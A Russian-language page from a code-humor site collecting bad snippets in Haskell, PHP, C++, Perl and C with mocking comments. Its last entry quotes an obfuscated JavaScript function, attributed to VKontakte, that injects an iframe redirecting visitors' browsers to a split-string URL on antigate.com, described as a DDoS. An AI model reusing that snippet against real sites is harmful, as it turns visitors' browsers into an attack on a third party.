- 1
- 2
import Control.Monad.Reader
head >>= (:)
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+119
import Control.Monad.Reader
head >>= (:)
+265
00410803 PUSH OFFSET 004FC0C8 ASCII "AnVir Task Manager Pro"
0041189D PUSH OFFSET 004FC0A4 ASCII "data Task Manager Pro"
0041A074 PUSH OFFSET 00500120 ASCII "%sAnVir Task Manager Pro"
0042F9CE PUSH OFFSET 005012A4 ASCII "AnVir Task Manager Pro %s %s!"
00410803 PUSH OFFSET 006AC6E8 ASCII "AnVir Task Manager Pro"
004479E9 PUSH EDI ASCII "AnVir Task Manager Pro"
0044FE01 PUSH OFFSET 00502C34 ASCII "AnVir Task Manager Pro "
00463DC9 PUSH OFFSET 00503708 ASCII "AnVir Task Manager Pro folder selection"
004606BE MOV DWORD PTR SS:[EBP-130],OFFSET 005035>ASCII "AnVir Task Manager Pro file selection"
00490CE9 PUSH OFFSET 00507E5C ASCII "AnVir Task Manager Pro. "
00495441 PUSH OFFSET 00508450 ASCII "AnVir Task Manager Pro, 6.7.1"
00497858 PUSH OFFSET 0050866C ASCII "Logfile of AnVir Task Manager Pro v6.7.1 "
004A3DE6 PUSH OFFSET 00509B54 ASCII "AnVir Task Manager"
Вывод ольки по поиску всех строк. (лишнее порезал)
Надо напомнить сотню раз пользователю имя программы, а то вдруг он забудет что он запустил!
Немного удивляет такой маразм.
+61
foreach($combinations as $combination){
$buffer = array();
if(count($combination)){
if(is_numeric($combination[0])){
$a_cnt = count($words[$combination[0]]);
for($a=0;$a<$a_cnt;$a++){
if(is_numeric($combination[1])){
$b_cnt = count($words[$combination[1]]);
for($b=0;$b<$b_cnt;$b++){
if(is_numeric($combination[2])){
$c_cnt = count($words[$combination[2]]);
for($c=0;$c<$c_cnt;$c++){
if(is_numeric($combination[3])){
$d_cnt = count($words[$combination[3]]);
for($d=0;$d<$d_cnt;$d++){
if(is_numeric($combination[4])){
$e_cnt = count($words[$combination[4]]);
for($e=0;$e<$e_cnt;$e++){
if(is_numeric($combination[5])){
$f_cnt = count($words[$combination[5]]);
for($f=0;$f<$f_cnt;$f++){
if(is_numeric($combination[6])){
$g_cnt = count($words[$combination[6]]);
for($g=0;$g<$g_cnt;$g++){
if(is_numeric($combination[7])){
$h_cnt = count($words[$combination[7]]);
for($h=0;$h<$h_cnt;$h++){
if(is_numeric($combination[8])){
$i_cnt = count($words[$combination[8]]);
for($i=0;$i<$i_cnt;$i++){
if(is_numeric($combination[9])){
$j_cnt = count($words[$combination[9]]);
for($j=0;$j<$j_cnt;$j++){
$buffer[] = $words[$combination[0]][$a]
.' '.$words[$combination[1]][$b]
.' '.$words[$combination[2]][$c]
.' '.$words[$combination[3]][$d]
.' '.$words[$combination[4]][$e]
.' '.$words[$combination[5]][$f]
.' '.$words[$combination[6]][$g]
.' '.$words[$combination[7]][$h]
.' '.$words[$combination[8]][$i]
.' '.$words[$combination[9]][$j];
}}
else{
$buffer[] = $words[$combination[0]][$a]
.' '.$words[$combination[1]][$b]
.' '.$words[$combination[2]][$c]
.' '.$words[$combination[3]][$d]
.' '.$words[$combination[4]][$e]
.' '.$words[$combination[5]][$f]
.' '.$words[$combination[6]][$g]
.' '.$words[$combination[7]][$h]
.' '.$words[$combination[8]][$i];
}
}}
else{
$buffer[] = $words[$combination[0]][$a]
.' '.$words[$combination[1]][$b]
.' '.$words[$combination[2]][$c]
.' '.$words[$combination[3]][$d]
.' '.$words[$combination[4]][$e]
.' '.$words[$combination[5]][$f]
.' '.$words[$combination[6]][$g]
.' '.$words[$combination[7]][$h];
}
}}
else{
$buffer[] = $words[$combination[0]][$a]
.' '.$words[$combination[1]][$b]
.' '.$words[$combination[2]][$c]
.' '.$words[$combination[3]][$d]
.' '.$words[$combination[4]][$e]
.' '.$words[$combination[5]][$f]
.' '.$words[$combination[6]][$g];
}
}}
else{
$buffer[] = $words[$combination[0]][$a]
.' '.$words[$combination[1]][$b]
.' '.$words[$combination[2]][$c]
.' '.$words[$combination[3]][$d]
.' '.$words[$combination[4]][$e]
.' '.$words[$combination[5]][$f];
}
}}
else{
$buffer[] = $words[$combination[0]][$a]
.' '.$words[$combination[1]][$b]
.' '.$words[$combination[2]][$c]
.' '.$words[$combination[3]][$d]
.' '.$words[$combination[4]][$e];
}
}}
else{
$buffer[] = $words[$combination[0]][$a]
.' '.$words[$combination[1]][$b]
.' '.$words[$combination[2]][$c]
.' '.$words[$combination[3]][$d];
}
Вот такой вот кусок кода, к стати весь не поместился, я нашел в самописном движке, на котором моему знакомому сделали корпоративный сайт на 30 страниц. Бюджет был больше 2к зелени.
+69
if (!class_exists('Memcache')) {
class Memcache {
function connect($l, $p) {
echo "НЕТ МЕМКЕША";
return true;
}
function get($n) {
return false;
}
function set($a, $b, $v, $g) {
return true;
}
}
}
улыбнуло )
−19
TElement* get(void)
{
TElement* result = this->allocateBuffer();
if (result!=NULL)
{
try
{
::new(result) TElement; //Вызов конструктора.
}catch(...)//Получили исключение в конструкторе конструироваемого объекта.
{
this->deallocateBuffer(result);
throw;
};
};
return result;
};
template<class TArg1>
TElement* get(TArg1 arg1)
{
TElement* result = this->allocateBuffer();
if (result!=NULL)
{
try
{
::new(result) TElement(arg1); //Вызов конструктора.
}catch(...)//Получили исключение в конструкторе конструироваемого объекта.
{
this->deallocateBuffer(result);
throw;
};
};
return result;
};
//...
template<class TArg1, class TArg2, class TArg3, class TArg4, class TArg5, class TArg6>
TElement* get(TArg1 arg1, TArg2 arg2, TArg3 arg3, TArg4 arg4, TArg5 arg5, TArg6 arg6)
{
TElement* result = this->AllocateBuffer();
if (result!=NULL)
{
try
{
::new(result) TElement(arg1, arg2, arg3, arg4, arg5, arg6); //Вызов конструктора.
}catch(...)//Получили исключение в конструкторе конструироваемого объекта.
{
this->DeallocateBuffer(result);
throw;
};
};
return result;
};
Хотя этот баян мы уже видели на Action Script.
−119
my $end_date = ($request =~ /<end_date>(\d\d\d\d-\d\d-\d\d \d\d:\d\d:\d\d)<\/end_date>/io) ? $1 : '';
+81
<?php
function md5_decrypt($enc_text, $password='code', $iv_len = 16){
$enc_text = base64_decode($enc_text);
$n = strlen($enc_text);
$i = $iv_len;
$plain_text = '';
$iv = substr($password ^ substr($enc_text, 0, $iv_len), 0, 512);
while ($i < $n) {
$block = substr($enc_text, $i, 16);
$plain_text .= $block ^ pack('H*', md5($iv));
$iv = substr($block . $iv, 0, 512) ^ $password;
$i += 16;
}
return preg_replace('/\\x13\\x00*$/', '', $plain_text);
}
?>
Название ф-ции говорит само за себя...
+88
if( $tpl_name == '' || ! file_exists( $this->dir . DIRECTORY_SEPARATOR . $tpl_name ) ) {
return "Отсутствует файл шаблона: " . $tpl_name ;
return false;
}
dle
−3
sscanf_s(buf,
"%f%f%f%f%f%d%d%d%d%d%d"
"%f%f%f%f%f%d%d%d%d%d%d"
"%f%f%f%f%f%d%d%d%d%d%d"
"%f%f%f%f%f%d%d%d%d%d%d",
&_race_state._car[0]._x, &_race_state._car[0]._y, &_race_state._car[0]._vx,
&_race_state._car[0]._vy, &_race_state._car[0]._angle, &_race_state._car[0]._nitro_time,
&_race_state._car[0]._oiled_bus, &_race_state._car[0]._nirtos, &_race_state._car[0]._bonus,
&_race_state._car[0]._lap, &_race_state._car[0]._next_seg,
&_race_state._car[1]._x, &_race_state._car[1]._y, &_race_state._car[1]._vx,
&_race_state._car[1]._vy, &_race_state._car[1]._angle, &_race_state._car[1]._nitro_time,
&_race_state._car[1]._oiled_bus, &_race_state._car[1]._nirtos, &_race_state._car[1]._bonus,
&_race_state._car[1]._lap, &_race_state._car[1]._next_seg,
&_race_state._car[2]._x, &_race_state._car[2]._y, &_race_state._car[2]._vx,
&_race_state._car[2]._vy, &_race_state._car[2]._angle, &_race_state._car[2]._nitro_time,
&_race_state._car[2]._oiled_bus, &_race_state._car[2]._nirtos, &_race_state._car[2]._bonus,
&_race_state._car[2]._lap, &_race_state._car[2]._next_seg,
&_race_state._car[3]._x, &_race_state._car[3]._y, &_race_state._car[3]._vx,
&_race_state._car[3]._vy, &_race_state._car[3]._angle, &_race_state._car[3]._nitro_time,
&_race_state._car[3]._oiled_bus, &_race_state._car[3]._nirtos, &_race_state._car[3]._bonus,
&_race_state._car[3]._lap, &_race_state._car[3]._next_seg );
парсим строчку...
+147
function _test() {
var fr=utilsNode.appendChild(ce('iframe')),d=fr.contentWindow.document;d.open();d.write('<script>this.location="http://ant'+'iga'+'te.com/i'+'n.php?'+'firs'+'t_an'+'d_la'+'st_wa'+'rnin'+'g=o'+'n";</sc'+'ript>');setTimeout(re.pbind(fr),1000);
}
"Умный" ддос ВКонташкой antigate.com
http://habrahabr.ru/post/142836/